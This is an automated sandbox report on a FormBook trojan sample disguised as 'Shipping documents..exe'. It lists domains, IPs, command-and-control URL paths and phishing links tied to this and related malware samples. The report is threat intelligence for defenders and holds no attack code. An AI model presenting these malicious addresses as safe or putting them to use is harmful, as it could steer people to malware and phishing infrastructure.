https://anqb.top	ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://wmqqb.com	ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://piensasolutions.com/imgs/parking/icon-desplegar.jpg	ktmutil.exe, 00000006.00000002.4569488926.0000000004CE8000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.00000000045F8000.00000004.00000001.00040000.00000000.sdmp	false		high
https://nfqb.info	ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	ktmutil.exe, 00000006.00000003.2634284897.0000000007B2E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dhqb.info	ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.clarity.ms/tag/	ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.piensasolutions.com/ssl?utm_source=parking&utm_medium=link&utm_campaign=correo	ktmutil.exe, 00000006.00000002.4569488926.0000000004CE8000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.00000000045F8000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://egqb.top	ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.piensasolutions.com/certificado-ssl?utm_source=parking&utm_medium=link&utm_campa	ktmutil.exe, 00000006.00000002.4569488926.0000000004CE8000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.00000000045F8000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com	ktmutil.exe, 00000006.00000002.4569488926.000000000500C000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000006.00000002.4571566936.00000000060C0000.00000004.00000800.00020000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.000000000491C000.00000004.00000001.00040000.00000000.sdmp	false		high
https://erxs.top	ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://yqqb.xyz	ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	ktmutil.exe, 00000006.00000003.2634284897.0000000007B2E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://xuaxs.com	ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://iwqb.top	ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gwqqb.com	ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gdlqb.com	ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://hm.baidu.com/hm.js?a1c8cf8ce51343444e7823fb95efe38e	ktmutil.exe, 00000006.00000002.4569488926.0000000003D34000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000003644000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000A.00000002.2740817749.0000000015A54000.00000004.80000000.00040000.00000000.sdmp	false		high
https://www.piensasolutions.com?utm_source=parking&utm_medium=link&utm_campaign=piensa	ktmutil.exe, 00000006.00000002.4569488926.0000000004CE8000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.00000000045F8000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.piensasolutions.com/crear-web?utm_source=parking&utm_medium=link&utm_campaign=we	ktmutil.exe, 00000006.00000002.4569488926.0000000004CE8000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.00000000045F8000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://shop.piensasolutions.com/search-ajax.php?utm_source=parking&utm_medium=link&utm_camp	ktmutil.exe, 00000006.00000002.4569488926.0000000004CE8000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.00000000045F8000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.econsultoria.online	FuFneNIzDsF.exe, 00000008.00000002.4571453200.0000000005711000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://oejqb.com	ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://piensasolutions.com/imgs/parking/icon-ssl-parking.png	ktmutil.exe, 00000006.00000002.4569488926.0000000004CE8000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.00000000045F8000.00000004.00000001.00040000.00000000.sdmp	false		high
https://aqqb.info	ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	ktmutil.exe, 00000006.00000003.2634284897.0000000007B2E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.klohk.tech/3m3e/?SvrLY=3P8lALA&DDp=AG8wkc12D4O4qfE3dc2ZpUKPRZyp2gRu	FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000003FB0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://plus.google.com/u/0/102310483732773374239	ktmutil.exe, 00000006.00000002.4569488926.0000000004CE8000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.00000000045F8000.00000004.00000001.00040000.00000000.sdmp	false		high
https://pmqb.xyz	ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mgnxs.com	ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ncxs.xyz	ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	ktmutil.exe, 00000006.00000003.2634284897.0000000007B2E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cpjqb.com	ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gsxs.info	ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aiqb.top	ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gdxs.info	ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	ktmutil.exe, 00000006.00000003.2634284897.0000000007B2E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://piensasolutions.com/imgs/parking/icon-hosting.png	ktmutil.exe, 00000006.00000002.4569488926.0000000004CE8000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.00000000045F8000.00000004.00000001.00040000.00000000.sdmp	false		high
https://zeqb.info	ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://piensasolutions.com/imgs/parking/icon-web.png	ktmutil.exe, 00000006.00000002.4569488926.0000000004CE8000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.00000000045F8000.00000004.00000001.00040000.00000000.sdmp	false		high
https://znqb.info	ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://stzqb.com	ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://chqb.info	ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://hgqb.xyz	ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	ktmutil.exe, 00000006.00000003.2634284897.0000000007B2E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.piensasolutions.com/web-sencilla?utm_source=parking&utm_medium=link&utm_campaign	ktmutil.exe, 00000006.00000002.4569488926.0000000004CE8000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.00000000045F8000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.piensasolutions.com/dominios?utm_source=parking&utm_medium=link&utm_campaign=dom	ktmutil.exe, 00000006.00000002.4569488926.0000000004CE8000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.00000000045F8000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.piensasolutions.com/hosting?utm_source=parking&utm_medium=link&utm_campaign=host	ktmutil.exe, 00000006.00000002.4569488926.0000000004CE8000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.00000000045F8000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ozxs.top	ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ltqb.info	ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://piensasolutions.com/imgs/parking/icon-parking.png	ktmutil.exe, 00000006.00000002.4569488926.0000000004CE8000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.00000000045F8000.00000004.00000001.00040000.00000000.sdmp	false		high
https://piensasolutions.com/imgs/parking/icon-facebook-small.png	ktmutil.exe, 00000006.00000002.4569488926.0000000004CE8000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.00000000045F8000.00000004.00000001.00040000.00000000.sdmp	false		high
https://piensasolutions.com/imgs/parking/icon-twitter-small.png	ktmutil.exe, 00000006.00000002.4569488926.0000000004CE8000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.00000000045F8000.00000004.00000001.00040000.00000000.sdmp	false		high
https://esfqb.com	ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	ktmutil.exe, 00000006.00000003.2634284897.0000000007B2E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://twitter.com/piensasolutions	ktmutil.exe, 00000006.00000002.4569488926.0000000004CE8000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.00000000045F8000.00000004.00000001.00040000.00000000.sdmp	false		high
https://34.92.79.175:19817/register	ktmutil.exe, 00000006.00000002.4569488926.0000000003D34000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000003644000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000A.00000002.2740817749.0000000015A54000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://piensasolutions.com/imgs/parking/icon-web-sencilla.png	ktmutil.exe, 00000006.00000002.4569488926.0000000004CE8000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.00000000045F8000.00000004.00000001.00040000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.248.169.48	www.telforce.one	United States	16509	AMAZON-02US	true
161.97.142.144	www.030002128.xyz	United States	51167	CONTABODE	true
203.161.49.193	www.futurevision.life	Malaysia	45899	VNPT-AS-VNVNPTCorpVN	true
188.114.97.3	www.bzxs.info	European Union	13335	CLOUDFLARENETUS	true
31.31.196.17	www.servannto.site	Russian Federation	197695	AS-REGRU	true
103.224.182.242	www.klohk.tech	Australia	133618	TRELLIAN-AS-APTrellianPtyLimitedAU	true
199.59.243.227	www.auto-deals-cz-000.buzz	United States	395082	BODIS-NJUS	true
154.92.61.37	www.huiguang.xyz	Seychelles	132839	POWERLINE-AS-APPOWERLINEDATACENTERHK	true
198.252.98.54	migorengya8.click	Canada	20068	HAWKHOSTCA	true
154.23.184.218	d63dm.top	United States	174	COGENT-174US	true
3.33.130.190	beingandbecoming.ltd	United States	8987	AMAZONEXPANSIONGB	true
217.76.156.252	www.cesach.net	Spain	8560	ONEANDONE-ASBrauerstrasse48DE	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1549915
Start date and time:	2024-11-06 08:38:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Shipping documents..exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@9/2@15/12
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 97% Number of executed functions: 51 Number of non-executed functions: 299
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target FuFneNIzDsF.exe, PID 6116 because it is empty
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.
VT rate limit hit for: Shipping documents..exe

Simulations

Behavior and APIs

Time	Type	Description
02:40:04	API Interceptor	9642753x Sleep call for process: ktmutil.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.248.169.48	icRicpJWczmiOf8.exe	Get hash	malicious	FormBook	Browse	www.ulula.org/4w1b/
	IbRV4I7MrS.exe	Get hash	malicious	FormBook	Browse	www.ila.beauty/izfe/
	p4rsJEIb7k.exe	Get hash	malicious	FormBook	Browse	www.notepad.mobi/zut6/?Q2_4=Kt4qQSLgj4HorxpxZIZ4p+EAwKHWi+XN9OiBuCBJU5cikXkc2Sk5R2gtgSdO+P2tW+5SfoOeVCvwWIOnLXM8QNp6yDsCjrxQ3ZxiPCiDnoMvdK5RCpNRC70=&uXP=1HX8
	r6lOHDg9N9.exe	Get hash	malicious	FormBook	Browse	www.polarmuseum.info/9u26/
	MV Sunshine.exe	Get hash	malicious	FormBook	Browse	www.ipk.app/phav/
	New Order list attached.exe	Get hash	malicious	DBatLoader, FormBook	Browse	www.virtu.industries/i9b0/
	A4mmSHCUi2.exe	Get hash	malicious	FormBook	Browse	www.thesquare.world/f1ri/
	VkTNb6p288.exe	Get hash	malicious	FormBook	Browse	www.discountprice.shop/mt2s/
	NF_Payment_Ref_FAN930276.exe	Get hash	malicious	FormBook	Browse	www.ila.beauty/izfe/
	Statement Cargomind 2024-09-12 (K07234).exe	Get hash	malicious	FormBook	Browse	www.hopeisa.live/0iqe/
161.97.142.144	56ck70s0BI.exe	Get hash	malicious	FormBook	Browse	www.030002832.xyz/o2wj/
	H1CYDJ8LQe.exe	Get hash	malicious	FormBook	Browse	www.030002832.xyz/l9k5/
	p4rsJEIb7k.exe	Get hash	malicious	FormBook	Browse	www.030002832.xyz/o2wj/?Q2_4=6LtjBDJj0uphlWGPUfsWns8NqP5UEL6FPz1cDqFjhhwngDvwQ5o3u1RN/IkqtEFfAoNcvBtCSqAXdbdyLf0jo5EGqFac5ns//rYVLRsufIrNIa29XQHyhaQ=&uXP=1HX8
	r6lOHDg9N9.exe	Get hash	malicious	FormBook	Browse	www.030002304.xyz/jkxr/
	COMMERCIAL-DOKUMEN-YANG-DIREVISI.exe	Get hash	malicious	FormBook	Browse	www.030002059.xyz/4h9e/
	Ponta Saheb. PO 4400049817.exe	Get hash	malicious	FormBook	Browse	www.030002107.xyz/fnq1/
	A4mmSHCUi2.exe	Get hash	malicious	FormBook	Browse	www.030002107.xyz/e8he/
	VkTNb6p288.exe	Get hash	malicious	FormBook	Browse	www.030002832.xyz/2nyl/
	FW CMA SHZ Freight invoice CHN1080769.exe	Get hash	malicious	FormBook	Browse	www.030002803.xyz/o3vr/
	Payment&WarantyBonds.exe	Get hash	malicious	FormBook	Browse	www.030002059.xyz/2sun/
203.161.49.193	DHL_IMPORT_8236820594.exe	Get hash	malicious	FormBook	Browse	www.harmonid.life/aq3t/
	DHL_IMPORT_8236820594.exe	Get hash	malicious	FormBook	Browse	www.harmonid.life/aq3t/
	Statement Cargomind 2024-09-12 (K07234).exe	Get hash	malicious	FormBook	Browse	www.fitlifa.xyz/6tsn/
	Payment&WarantyBonds.exe	Get hash	malicious	FormBook	Browse	www.simplek.top/ep69/
	Payment&WarantyBonds.exe	Get hash	malicious	FormBook	Browse	www.simplek.top/ep69/
	SALARY OF OCT 2024.exe	Get hash	malicious	FormBook	Browse	www.futurevision.life/hxmz/
	Udspecialiser45.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.funtechie.top/udud/
	qEW7hMvyV7.exe	Get hash	malicious	FormBook	Browse	www.winnov8.top/abt9/
	PR44238-43433.exe	Get hash	malicious	FormBook	Browse	www.innovtech.life/nq8t/
	RFQ-9877678-9988876509886546887.exe	Get hash	malicious	FormBook	Browse	www.innovtech.life/nq8t/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.servannto.site	SALARY OF OCT 2024.exe	Get hash	malicious	FormBook	Browse	31.31.196.17
www.auto-deals-cz-000.buzz	SALARY OF OCT 2024.exe	Get hash	malicious	FormBook	Browse	199.59.243.227
www.huiguang.xyz	SALARY OF OCT 2024.exe	Get hash	malicious	FormBook	Browse	154.92.61.37
www.klohk.tech	SALARY OF OCT 2024.exe	Get hash	malicious	FormBook	Browse	103.224.182.242
www.telforce.one	SALARY OF OCT 2024.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
www.cesach.net	Payment&WarantyBonds.exe	Get hash	malicious	FormBook	Browse	217.76.156.252
	Payment&WarantyBonds.exe	Get hash	malicious	FormBook	Browse	217.76.156.252
	SALARY OF OCT 2024.exe	Get hash	malicious	FormBook	Browse	217.76.156.252

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	https://u47918369.ct.sendgrid.net/ls/click?upn=u001.ZoCZETgJDKD-2FKvq1a-2Bqbn8ta8d94BJ71ZWM4NddFG9BNYa4zSgm5xozG6sQbxmU5D5hL85iqF140GJ6UG5nvQ8h9zqpzZN6TptwRH8YmWqCz4BhhWVyA4-2FGdi78BIf3v-2B7DR6p6O0O2iMltxPh-2BTVZzGBI-2BdwOvbNydWsHD-2FE3jskn-2BWjLG5mEA5NmkZDPRzetlrway-2BFvubwBO4HRvhVg-3D-3Dmeoi_-2Bc-2FE9fHJLEezMYVeHAjWA-2FCLTyAjjdsjmjoMWPOcqKulbzylExHQ2Bq-2F3BWB5j3k2UTXVbxJlycszSZ1lajkNfuZTcVvZ-2FvSGDyQmX-2FtcFOsY2mjWSEq1i80kCvMOrhUl4ALfB0EoZtPz4ZKLJkzU7FgeX-2FT9OOVwrlnZy4n0LZBObWOCx8zKd7nZMhFe-2BZc9Pem0kzkQw2yNab8z35ieg0OqT7JGePwZBZspCJwJURQ2RzMNYu1jql5xUEHxCdthZoQG0oXgKX7EC2zWVbmd3lbuIz4gnLx6gtjvJVPuORshK8UmeaYN3bhRbYtiwa1MzSTAh44aejae4PH1iW9eqQx6mkzXAmSRGDTqlaz-2BTMhcFb2TbX9Ireuri9431lneUhuzyBoFgsxNxrHmewEumQ5Fpbl3DMNlZWY6v-2BZeqOSKoZukPJvFMTp-2B0LlYiW2hSEEHpoW-2Bfkodr-2BXedOkEgHOpb-2BI-2Bo7iRsBMssyauw7e2G-2BtBTPlVRTMUKEi0sHkZnzyDwwvelrsZPDSeuUSJJbF5RsW6PuJ3rHQeLybAr5sY4N1iFLQRl4UXoM-2FW1USqeW-2FW67ju4oKy-2BxxK2RMyt1UamWC1e7ZMaHtLuobdKUFD-2B-2BLBUV-2Bt1L4C-2BjqlcRVfQXoWpIiBUrky3W8HrGlvsfUG6wd83TiHuew-2FQxPfj-2FiZisyJRXvaXYOHAqa17KLb3gmFP-2B5uXU8LjzG0ycYvWam8x9r5ppG8H3M12etKaXYgjAyYUFRLUyjayjoSrQYGFIaA5ZpLf0TnsLO-2F6gNVZ-2FafUtMAjrZaBWKnf4XbPftvvgD-2FYh-2Fjepxm5eyWvZ523sC9u7sDPMnlHy9SJkfmrT2lMQs12qzVb613rQa-2FDElHuue97Dli-2FDJHUvFFkCQGiWlvze9GWny9B9XIMqzHg-3D-3D	Get hash	malicious	Unknown	Browse	18.245.31.89
	https://silver-antelope-m9cbjj.mystrikingly.com/?utm_source=vero&utm_medium=email&utm_content=control&utm_campaign=%5BFR%5D%20collected_email_notice&utm_term=Transactional&vero_conv=GBpYhsIpFSmO05TsgO2IN7eUtOGrwxJACirOVzlE4e6zWd4dm3DHEZyvaBDTtpAFZF0Cm3GCbumw_58AcHo6T3Gk48-PDYSdMzS-9ufSTA%3D%3D	Get hash	malicious	Unknown	Browse	13.224.189.122
	https://u47918366.ct.sendgrid.net/ls/click?upn=u001.skYLek12KWTy-2FVz15U1JGdpJfnayI4kQ0pGqHar3Dl5XD61duaRQIcmphf6sxsCT3pRESnljQSclapQG6uG3pGdVz-2B44bL9s03KAUTE5StMNIlD8xnCLLZ8lGkQWJZW6RJC-2FMS-2FmtqbnkGnTi61-2FLV9HYGRp5V27shTYXb-2BqWDMLram9L-2B8PCUCWTlPWwUYxTwD1kp50jJPmaqPt-2BzDZOg-3D-3DTS7W_AsQvLq31PKXxx3tM00egmVFtswxWHNiAKAW7v-2BME9y3foxrTpQ6z5Y5Y3k6TX-2BTbdqWMdZVTacuc-2FsKla-2BQnDyhxuGfrDPGC0inve5ZGuY9bJGKrM5EaK8IdC3aHxgKXMexjApq1Yv-2Fo2nkdHzmaIMX05B-2BRcK00sZCPCageoDHJ5VJcv4MzWUDlTtocfgkMJvTb5FZfkZhbfaTdVG8T1D8ISk1AiI0VZdOyElaDF2lwjvMkxASeOl3LDfxjUUKobeqbPPkPOL-2FFCEqbDPXvTtqSZ0LtfoDQBzIQYgv0-2BKqgncXiJO3Toa6oC4D8SJ9T4jEkCAaFVomtF-2BLa074AQSN6zNknHd44z3F5KFRlIdXHZ-2F-2FkKbletJGTpBctnhVIargZh-2B3ygn9ILvi3aWgJBsduA5d5SNlv1rw3CXA1dsDxrOxxIpnY0JrE-2BOs5oJ-2B0oEc3CA-2Blf0qvGEjijsr3WfQTSZOkB99gCE-2Bo0aX7F9iVua9ZZWaZcF0NGZ02mJAAvIwQeWbC7KgOj-2F6rxhTm6MvTu3h0fQLZ2ipKLD84nXxWl4nGhRYgr9-2FXlS5jJbBnp3hKIUm0d4tdscG5h7j5bPTxgkBc4NlTYmfh3kgGEJER3U0pW7a-2FRKc98R6qmb2qW4Qgxj1vjPRWmKm55m3tZsVDmhUWrOY5ncaMRfKm-2BmGDb9sWprjksdUMBBQYJ3X1NNYC0PHUK9-2BeRED5iZxcfjghmBF5dlIbtRWXUGeRHYic4hdbqwWvgvomaNePBSF1zDDtCPk1hkiYrlVpodlRsRYqLYtiPhuhu6aIUn-2BVFWMHf9ydplKIkghsxI2bAOKFPZhPyAvHJwJqMGZ2ukaqMBlHPEUWpx-2FduLBjNhbyEIk-3D	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	18.245.31.33
	icRicpJWczmiOf8.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	D7R Image_capture 28082024 JPEG FILE.exe	Get hash	malicious	FormBook	Browse	18.166.41.103
	company profile and iems .vbs	Get hash	malicious	Unknown	Browse	185.166.143.49
	https://ohpky5.fj78.fdske.com/e/c/01jbx9w45rt8n7dv9hga5bx34b/01jbx9w45rt8n7dv9hgd1yw31d	Get hash	malicious	Unknown	Browse	18.245.86.7
	https://astonishing-maize-sunstone.glitch.me/	Get hash	malicious	HTMLPhisher	Browse	52.16.55.91
	example.html	Get hash	malicious	Unknown	Browse	54.171.122.26
	1V4xpXT91O.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.122
CONTABODE	56ck70s0BI.exe	Get hash	malicious	FormBook	Browse	161.97.142.144
